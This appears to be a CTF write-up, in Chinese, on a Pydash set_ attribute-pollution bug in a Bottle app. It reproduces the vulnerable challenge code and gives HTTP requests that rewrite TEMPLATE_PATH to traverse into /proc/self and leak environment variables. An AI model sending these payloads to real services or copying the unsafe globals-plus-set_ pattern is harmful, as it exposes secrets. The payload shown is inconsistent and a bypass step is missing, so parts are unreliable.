Pydash set方法原型链污染漏洞分析:以Bottle框架环境变量泄露为例
字数 855 2025-08-29 08:29:41

Pydash set方法原型链污染漏洞分析与利用

漏洞概述

本漏洞利用Pydash库的set_方法实现原型链污染,结合Bottle框架的模板渲染机制,最终实现环境变量泄露。该漏洞在NCTF和SUCTF2025等CTF比赛中出现过类似题型。

漏洞分析

关键代码分析

from typing import Optional
import pydash
import bottle

# 黑名单定义
__forbidden_path__ = ['__annotations__', '__call__', '__class__', ...]
__forbidden_name__ = ["bottle"]

def setval(name: str, path: str, value: str) -> Optional[bool]:
    # 检查黑名单
    if name.find("__") >= 0: return False
    for word in __forbidden_name__:
        if name == word: return False
    for word in __forbidden_path__:
        if path.find(word) >= 0: return False
    
    obj = globals()[name]
    try:
        pydash.set_(obj, path, value)  # 关键漏洞点
    except:
        return False
    return True

@bottle.post('/setValue')
def set_value():
    name = bottle.request.query.get('name')
    path = bottle.request.json.get('path')
    if not isinstance(path, str): return "no"
    if len(name) > 6 or len(path) > 32: return "no"
    value = bottle.request.json.get('value')
    return "yes" if setval(name, path, value) else "no"

@bottle.get('/render')
def render_template():
    path = bottle.request.query.get('path')
    if len(path) > 10: return "hacker"
    blacklist = ["{", "}", ".", "%", "<", ">", "_"]
    for c in path:
        if c in blacklist: return "hacker"
    return bottle.template(path)  # 模板渲染点

bottle.run(host='0.0.0.0', port=8000)

Pydash.set_方法

pydash.set_方法允许通过路径字符串修改对象的属性:

def set_(obj: T, path: PathT, value: t.Any) -> T:
    """Sets the value of an object described by `path`."""
    return set_with(obj, path, value)

示例用法:

class Apple:
    def __init__(self):
        self.name = "apple"
        self.sweet = 10

a = Apple()
pydash.set_(a, "sweet", 100)  # 修改a.sweet为100

Bottle模板渲染机制

bottle.template(path)的渲染流程:

  1. 默认使用SimpleTemplate作为模板引擎
  2. 默认模板搜索路径TEMPLATE_PATH['./','./views/']
  3. 通过search()方法在TEMPLATE_PATH中查找模板文件
  4. 使用SimpleTemplate.prepare()初始化模板处理逻辑
  5. 最终通过render()方法执行模板渲染

漏洞利用链

完整的利用链如下:

template:adapter() -> 
class:BaseTemplate:search() -> 
class:SimpleTemplate:prepare() -> 
render() -> 
exec() -> 
stdout

利用步骤

  1. 污染TEMPLATE_PATH

    • 目标是将bottle.TEMPLATE_PATH修改为['../../../proc/self/']
    • 这样在渲染environ模板时会读取/proc/self/environ文件
  2. 绕过限制

    • setval函数有黑名单限制,不能直接修改bottle模块
    • 需要先污染RESTRICTED_KEYS(Pydash内部限制修改的属性)
  3. 最终Payload

    setval.__globals__.bottle.TEMPLATE_PATH = ['.proc/self/']
    

实际利用

  1. 首先发送请求污染TEMPLATE_PATH

    POST /setValue?name=setval HTTP/1.1
    Content-Type: application/json
    
    {
        "path": "__globals__.bottle.TEMPLATE_PATH",
        "value": ["../../../proc/self/"]
    }
    
  2. 然后访问渲染接口读取环境变量:

    GET /render?path=environ HTTP/1.1
    

防御措施

  1. 严格限制用户输入的路径参数
  2. 避免使用不安全的对象属性修改方法
  3. 对模板文件路径进行规范化处理
  4. 使用更严格的权限控制

总结

该漏洞结合了Pydash的原型链污染和Bottle框架的模板渲染机制,通过精心构造的路径污染实现环境变量泄露。理解这种漏洞需要对JavaScript/Python的原型链/对象模型有深入理解,同时也需要熟悉Web框架的内部工作机制。

Pydash set方法原型链污染漏洞分析与利用 漏洞概述 本漏洞利用Pydash库的 set_ 方法实现原型链污染,结合Bottle框架的模板渲染机制,最终实现环境变量泄露。该漏洞在NCTF和SUCTF2025等CTF比赛中出现过类似题型。 漏洞分析 关键代码分析 Pydash.set_ 方法 pydash.set_ 方法允许通过路径字符串修改对象的属性: 示例用法: Bottle模板渲染机制 bottle.template(path) 的渲染流程: 默认使用 SimpleTemplate 作为模板引擎 默认模板搜索路径 TEMPLATE_PATH 为 ['./','./views/'] 通过 search() 方法在 TEMPLATE_PATH 中查找模板文件 使用 SimpleTemplate.prepare() 初始化模板处理逻辑 最终通过 render() 方法执行模板渲染 漏洞利用链 完整的利用链如下: 利用步骤 污染TEMPLATE_ PATH : 目标是将 bottle.TEMPLATE_PATH 修改为 ['../../../proc/self/'] 这样在渲染 environ 模板时会读取 /proc/self/environ 文件 绕过限制 : setval 函数有黑名单限制,不能直接修改 bottle 模块 需要先污染 RESTRICTED_KEYS (Pydash内部限制修改的属性) 最终Payload : 实际利用 首先发送请求污染 TEMPLATE_PATH : 然后访问渲染接口读取环境变量: 防御措施 严格限制用户输入的路径参数 避免使用不安全的对象属性修改方法 对模板文件路径进行规范化处理 使用更严格的权限控制 总结 该漏洞结合了Pydash的原型链污染和Bottle框架的模板渲染机制,通过精心构造的路径污染实现环境变量泄露。理解这种漏洞需要对JavaScript/Python的原型链/对象模型有深入理解,同时也需要熟悉Web框架的内部工作机制。